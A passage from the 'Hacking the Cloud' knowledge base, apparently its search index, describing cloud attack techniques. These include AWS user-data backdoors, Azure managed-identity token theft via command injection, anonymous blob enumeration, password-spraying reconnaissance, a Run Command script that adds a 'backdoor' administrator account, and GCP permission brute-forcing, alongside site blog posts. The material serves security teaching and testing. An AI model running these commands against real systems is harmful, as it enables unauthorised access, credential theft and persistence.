      "},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-the-user-data-script","title":"Modify the User Data Script","text":"
      • Required IAM Permissions

        • modify-instance-attribute
      • Recommended but not Required IAM Permissions

        • ec2:StartInstances
        • ec2:DescribeInstances
        • ec2:StopInstances

      If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

      The steps to modify user data scripts can be found here.

      "},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-a-resource-called-by-the-script","title":"Modify a Resource Called by the Script","text":"

      In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

      "},{"location":"azure/abusing-managed-identities/","title":"Abusing Managed Identities","text":"
      • Original Research

        Create an Azure Vulnerable Lab: Part #4 \u2013 Managed Identities by Andrei Agape

      Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

      Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container\n

      A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.

      "},{"location":"azure/abusing-managed-identities/#setup-azure-managed-identity","title":"Setup Azure Managed Identity","text":"

      First we enable the managed identity for the web application:

      )

      Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

      Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates \u201cdownwards\u201d in the Azure architecture layer.

      The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.

      Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.

      Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -> View access to this resource.

      So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

      "},{"location":"azure/abusing-managed-identities/#next-steps","title":"Next steps","text":"

      Now that we have the basics of how Managed Identity works, let\u2019s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!

      While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the \"images\" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account.

      "},{"location":"azure/abusing-managed-identities/#exploiting-azure-managed-identity","title":"Exploiting Azure Managed Identity","text":"

      Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure.

      curl \"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01\" -H secret:$IDENTITY_HEADER\n

      Using the Azure Powershell module, we can connect to Azure with the access token:

      PS> Install-Module -Name Az -Repository PSGallery -Force\nPS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>\n

      Once the connection has been established, you will be able to see the details for the tenant, subscription and other details the compromised managed identity has access to - using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:

      To list the roles assigned to the managed identity, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires and additional token from the Graph API which we can get from the https://graph.microsoft.com/ endpoint, additionally it requires the permission to list roles and permissions for identities which the compromised Managed Identity does not have.

      However, you can still try to access the Storage Account keys without these permissions and see if they are successful. For that you can use the Get-AzStorageAccountKey cmdlet with the Resource Group Name and Account Name that was found in the previous step.

      Get storage account keys:

      >Get-AzStorageAccountKey -ResourceGroupName \"0xpwnlab\" -AccountName \"0xpwnstorageacc\"\n\nKeyName Value                       Permissions CreationTime\n------- -----                       ----------- ----------\nkey1    L175hccq[...]lH9DJ==        Full 3/12/20...\nkey2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...\n

      http://aka.ms/storage-explorer

      If the above command returns two keys, then it means that our identity had permissions to list them. Assuming this is the case - let\u2019s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account.

      In the Azure Storage Explorer, we click the connect icon and select storage account or service.

      On the second step, this time we select the Account name and key option:

      For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:

      Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag.

      And that\u2019s it! We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to. The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information.

      "},{"location":"azure/anonymous-blob-access/","title":"Anonymous Blob Access","text":"
      • Original Research

        Create an Azure Vulnerable Lab: Part #1 \u2013 Anonymous Blob Access by Andrei Agape

      \"Storage Accounts\" is the service provided by Azure to store data in the cloud. A storage account can used to store:

      • Blobs
      • File shares
      • Tables
      • Queues
      • VM disks

      For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

      • Private Access \u2013 no anonymous access is allowed
      • Blob Access \u2013 we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
      • Container Access \u2013 we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

      As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

      "},{"location":"azure/anonymous-blob-access/#exploiting-anonymous-blob-access","title":"Exploiting Anonymous Blob Access","text":"

      Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I\u2019ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it\u2019ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

      PS > import-module .\\MicroBurst.psm1\nPS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc\nFound Storage Account - 0xpwnstorageacc.blob.core.windows.net\nFound Container - 0xpwnstorageacc.blob.core.windows.net/public\nPublic File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n

      Alternatively adding ?restype=container&comp=list after the container name:

      https://<storage_account>.blob.core.windows.net/<container>?restype=container&comp=list\n
      Output:
      <EnumerationResults ContainerName=\"https://0xpwnstorageacc.blob.core.windows.net/public\">\n    <Blobs>\n        <Blob>\n            <Name>flag.txt</Name>\n            <Url>\nhttps://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n</Url>\n            <Properties>\n                <Last-Modified>Sat, 05 Mar 2022 18:02:14 GMT</Last-Modified>\n                <Etag>0x8D9FED247B7848D</Etag>\n                <Content-Length>34</Content-Length>\n                <Content-Type>text/plain</Content-Type>\n                <Content-Encoding/>\n                <Content-Language/>\n                <Content-MD5>lur6Yvd173x6Zl1HUGvtag==</Content-MD5>\n                <Cache-Control/>\n                <BlobType>BlockBlob</BlobType>\n                <LeaseStatus>unlocked</LeaseStatus>\n            </Properties>\n        </Blob>\n    </Blobs>\n    <NextMarker/>\n</EnumerationResults>\n

      "},{"location":"azure/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses","text":"

      You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      "},{"location":"azure/run-command-abuse/","title":"Run Command Abuse","text":"
      • Original Research

        Azure Run Command for Dummies by Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri

      "},{"location":"azure/run-command-abuse/#technique","title":"Technique","text":"

      MITRE: Execution > Cloud Administration Command

      Run Command is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:

      • Azure Portal,
      • Azure CLI, and
      • PowerShell

      Once configured the script is run via the virtual machine agent installed on the virtual machine.

      A script ran via Run Command runs with the following privleges:

      • System on Windows, and as
      • root on Linux

      In order to use this functionality an identity must have the following role assigned to it: Microsoft.Compute/virtualMachines/runCommands/action

      This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.

      The script that this example will utilise is as follows:

      net user /add backdoor BingoBango123!\nnet localgroup administrators backdoor /add\n

      This script:

      • Creates a new user named backdoor, then
      • Adds the user to the local Administrator group

      This example will use the Azure Portal to create and run the aforementioned script. More information on running these commands via the Azure CLI or PowerShell can be found within the relevant Microsoft documentation.

      Browsing to the virtual machine, we can select the Run Command option, enter our script then execute it, as depicted in the following screenshot:

      Once the script has executed, we can authenticate to the virtual machine with our new credentials and check on it's status, as depicted in the following screenshot:

      Here we can see that the script has successfully executed, and the backdoor user has been added to the local Administrator group.

      "},{"location":"azure/run-command-abuse/#detection","title":"Detection","text":"

      The following operation name can be used to audit and alert on Run Commands being used within a tenant: Microsoft.Compute/virtualMachines/runCommand/action

      "},{"location":"azure/run-command-abuse/#further-reading","title":"Further reading","text":"
      • https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command
      • https://learn.microsoft.com/en-us/azure/virtual-machines/linux/run-command
      "},{"location":"azure/soft-deleted-blobs/","title":"Soft Deleted Blobs","text":"
      • Original Research

        0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 \u2013 Soft Deleted Blobs by Andrei Agape

      In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

      • A shared access signature (SAS) \u2013 is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
      • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
      • Managed Identities

      For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

      Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don\u2019t be that developer.

      The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day \u201cfeature\u201d.

      "},{"location":"azure/soft-deleted-blobs/#exploiting-soft-deleted-blobs","title":"Exploiting Soft Deleted Blobs","text":"

      Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

      Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

      Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

      And that we want to use a Connection String

      And we paste the value of the conn_str variable that we found in the source code, and connect:

      On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

      At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

      And voila! Right click -> Undelete

      "},{"location":"blog/2022_wrap-up/","title":"2022 Wrap-up","text":"

      Nick Frichette \u00b7 @frichette_n \u00b7 December 14, 2022

      2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

      "},{"location":"blog/2022_wrap-up/#numbers","title":"Numbers","text":"

      I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

      • 625 stars gained on GitHub
      • 225 commits committed
      • 73,925 visits
      • 124,278 page views
      • 6,408 average monthly visitors (excluding December)
      • 9,763 average monthly visitors in the past quarter!

      November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

      Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

      We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

      "},{"location":"blog/2022_wrap-up/#most-popular-articles","title":"Most Popular Articles","text":"

      Some more numbers; this time the most popular articles along with page views:

      1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
      2. CI/CDon't - 5,842 page views.
      3. AWS Organizations Defaults - 5,325 page views.
      4. Connection Tracking - 5,209 page views.
      5. Using Stolen IAM Credentials - 5,043 page views.

      Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

      CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

      Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a \"playbook\" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

      "},{"location":"blog/2022_wrap-up/#rss-feeds","title":"RSS Feeds!","text":"

      If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

      Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

      "},{"location":"blog/2022_wrap-up/#plagiarism","title":"Plagiarism","text":"

      Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

      Hacking the Cloud Copy

      As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

      Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

      I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

      To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

      Feb 2024 Update

      It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

      As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

      Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

      "},{"location":"blog/2022_wrap-up/#mastodon","title":"Mastodon","text":"

      In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

      Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

      "},{"location":"blog/2022_wrap-up/#plans-for-the-future","title":"Plans for the Future","text":"

      Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call \"playbooks\"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

      The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

      And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

      "},{"location":"blog/2022_wrap-up/#conclusion","title":"Conclusion","text":"

      I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

      "},{"location":"blog/2023_wrap-up/","title":"2023 Wrap-up","text":"

      Nick Frichette \u00b7 @frichette_n \u00b7 December 20, 2023

      2023 is coming to a close and it\u2019s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We\u2019ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

      "},{"location":"blog/2023_wrap-up/#numbers","title":"Numbers","text":"

      Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

      • 457 stars gained on GitHub (1389 total)
      • 128 commits committed
      • 96,031 visits
      • 187,542 pageviews
      • 8,238 average monthly visitors (excluding December)
      • And a partridge in a pear tree

      Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

      The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

      "},{"location":"blog/2023_wrap-up/#most-popular-articles","title":"Most popular articles","text":"

      An area that I\u2019m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

      1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
      2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
      3. Abusing Managed Identities - 5,703 pageviews.
      4. Using Stolen IAM Credentials - 5,594 pageviews.
      5. Connection Tracking - 4,869 pageviews.

      For the third year running, \u201cSteal EC2 Metadata Credentials via SSRF\u201d is our most popular article, but unlike previous years it\u2019s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we\u2019ll have to check the stats next year.

      In second place, and very close to first, we have \u201cAWS Organizations Defaults & Pivoting\u201d. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

      In third place, we have the first non-AWS article to ever make a top 5 (and I\u2019m pretty sure a top 10), \u201cAbusing Managed Identities\u201d. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I\u2019m excited to see more interest in other cloud providers. If you aren\u2019t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

      "},{"location":"blog/2023_wrap-up/#most-popular-social-networks","title":"Most popular social networks","text":"

      If you\u2019re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

      1. LinkedIn - 42% of links
      2. Twitter - 30% of links
      3. GitHub - 13% of links
      4. Reddit - 9% of links
      5. Facebook - 6% of links
      6. Others - <1%

      LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

      In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

      For my Mastodon fans, I wouldn\u2019t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn\u2019t a very easy way to track it. Personally, I\u2019ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

      "},{"location":"blog/2023_wrap-up/#thank-you","title":"Thank you!","text":"

      Again, I want to say thank you to everyone who has shared the site\u2019s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

      "},{"location":"blog/v2_new_look/","title":"Hacking The Cloud v2: New Look","text":"

      Nick Frichette \u00b7 @frichette_n \u00b7 December 6, 2021

      Whoa! Things look a little different? You're not imagining it.

      The old look.

      Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

      "},{"location":"blog/v2_new_look/#why-the-change","title":"Why the Change?","text":"

      When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

      This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

      To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

      "},{"location":"blog/v2_new_look/#why-material-for-mkdocs","title":"Why Material for MkDocs?","text":"

      For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, \"does this look okay on mobile?\".

      By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

      More than that, it's fun and easy to work with.

      If you'd like to support Material for MkDocs you can join me in sponsoring the project.

      "},{"location":"blog/v2_new_look/#what-does-this-mean-for-you","title":"What Does This Mean for You?","text":"

      Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

      For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

      "},{"location":"gcp/capture_the_flag/gcp-goat/","title":"GCP Goat","text":"

      GCP-Goat is the vulnerable application for learning the Google Cloud Security

      The Application consists of the following scenarios

      • Attacking Compute Engine
      • Attacking Sql Instance
      • Attacking GKE
      • Attacking GCS
      • Privilege Escalation
      • Privilege Escalation in Compute Engine

      Project-Link

      "},{"location":"gcp/capture_the_flag/thunder_ctf/","title":"Thunder CTF","text":"

      Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a \"secret\" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

      The CTF is available at https://thunder-ctf.cloud/.

      The GitHub repository for the Thunder CTF also includes:

      • Least Privileges
      • Cloud Audit

      Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

      Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

      "},{"location":"gcp/capture_the_flag/thunder_ctf/#links","title":"Links:","text":"
      • Website
      • GitHub
      "},{"location":"gcp/enumeration/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Google Workspace Email Addresses","text":"

      You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      "},{"location":"gcp/enumeration/enumerate_all_permissions/","title":"Enumerate Org/Folder/Project Permissions + Individual Resource Permissions","text":"
      • Tools mentioned in this article

        gcpwn

      "},{"location":"gcp/enumeration/enumerate_all_permissions/#what-is-testiampermissions","title":"What is testIamPermissions?","text":"

      GCP offers a \"testIamPermissions\" API call on most resources that support policies. This includes resources like:

      • Organizations
      • Folders
      • Projects
      • Compute Instances
      • Cloud Functions

      In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

      For example, for \"Projects\" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just \"cloudfunctions.functions.list\" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

      # Input\n{\n  \"permissions\": [\n    compute.instances.addAccessConfig\n    cloudfunctions.functions.list\n    etc\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n     cloudfunctions.functions.list\n  ]\n}\n

      However, testIamPermissions does NOT just exist for projects. The compute service allows you to specify permissions at the compute instance level (as opposed to the project level). As such, testIamPermissions actually exists for instances as well shown in the documentation here. You'll notice the API call is pretty much the same as the projects API call in that it takes in a big list of permission and returns the list of permissions the caller has on THAT specific instance; we are just calling testIamPermissions on the instance as opposed to the project. Also note we could not pass in \"cloudfunctions.functions.list\", for example, to the instances testIamPermissions as it will only accept instance-level permissions.

      # Input\n{\n  \"permissions\": [\n                'compute.instances.addAccessConfig',\n                'compute.instances.addMaintenancePolicies',\n                'compute.instances.addResourcePolicies',\n                'compute.instances.attachDisk',\n                'compute.instances.createTagBinding',\n                'compute.instances.delete',\n                'compute.instances.deleteAccessConfig',\n                'compute.instances.deleteTagBinding',\n                'compute.instances.detachDisk',\n                'compute.instances.get',\n                'compute.instances.getEffectiveFirewalls',\n                'compute.instances.getGuestAttributes',\n                'compute.instances.getIamPolicy',\n                'compute.instances.getScreenshot',\n                'compute.instances.getSerialPortOutput',\n                'compute.instances.getShieldedInstanceIdentity',\n                'compute.instances.getShieldedVmIdentity',\n                'compute.instances.listEffectiveTags',\n                'compute.instances.listReferrers',\n                'compute.instances.listTagBindings',\n                'compute.instances.osAdminLogin',\n                'compute.instances.osLogin',\n                'compute.instances.removeMaintenancePolicies',\n                'compute.instances.removeResourcePolicies',\n                'compute.instances.reset',\n                'compute.instances.resume',\n                'compute.instances.sendDiagnosticInterrupt',\n                'compute.instances.setDeletionProtection',\n                'compute.instances.setDiskAutoDelete',\n                'compute.instances.setIamPolicy',\n                'compute.instances.setLabels',\n                'compute.instances.setMachineResources',\n                'compute.instances.setMachineType',\n                'compute.instances.setMetadata',\n                'compute.instances.setMinCpuPlatform',\n                'compute.instances.setName',\n                'compute.instances.setScheduling',\n                'compute.instances.setSecurityPolicy',\n                'compute.instances.setServiceAccount',\n                'compute.instances.setShieldedInstanceIntegrityPolicy',\n                'compute.instances.setShieldedVmIntegrityPolicy',\n                'compute.instances.setTags',\n                'compute.instances.simulateMaintenanceEvent',\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n                'compute.instances.suspend',\n                'compute.instances.update',\n                'compute.instances.updateAccessConfig',\n                'compute.instances.updateDisplayDevice',\n                'compute.instances.updateNetworkInterface',\n                'compute.instances.updateSecurity',\n                'compute.instances.updateShieldedInstanceConfig',\n                'compute.instances.updateShieldedVmConfig',\n                'compute.instances.use',\n                'compute.instances.useReadOnly'\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n  ]\n}\n
      "},{"location":"gcp/enumeration/enumerate_all_permissions/#gcpwn-introduction","title":"GCPwn Introduction","text":"

      gcpwn is a tool that will run testIamPermission on all resources identified if specified by the end user. This means it will cover testIamPermission test cases for organizations, projects, folders, compute instances, cloud functions, cloud storage (buckets), service accounts, etc. For orgs/projects/folders it runs a small list of permissions as the input but you can specify through flags to brute force ~9500 permissions.

      To install the tool, follow the installation instructions here. Once installed, review the \"Common Use Cases\" which covers both of the items above.

      To see a live demo, you can watch this which covers testIamPermissions briefly.

      Note

      The tool will also passively record all API permissions you were able to call regardless if testIamPermissions is used, testIamPermissions just will give you more permissions back usually.

      "},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-permissions-on-individual-resources","title":"Enumerate Permissions on Individual Resources","text":"

      Each enumeration module (ex. enum_instances) in the tool allows you to pass in an --iam flag that will call testIamPermissions on the resource while enumerating it. Once run, you can run creds info as shown below and this will list out all the permissions your caller has. Review the POC below.

      1. Show the value for the service account key. Note the same technique can be used for application default credentials (username/password) as well as standalone Oauth2 tokens
      2. Start up the tool via python3 main.py. Load in the service account credentials for the file we just showed.
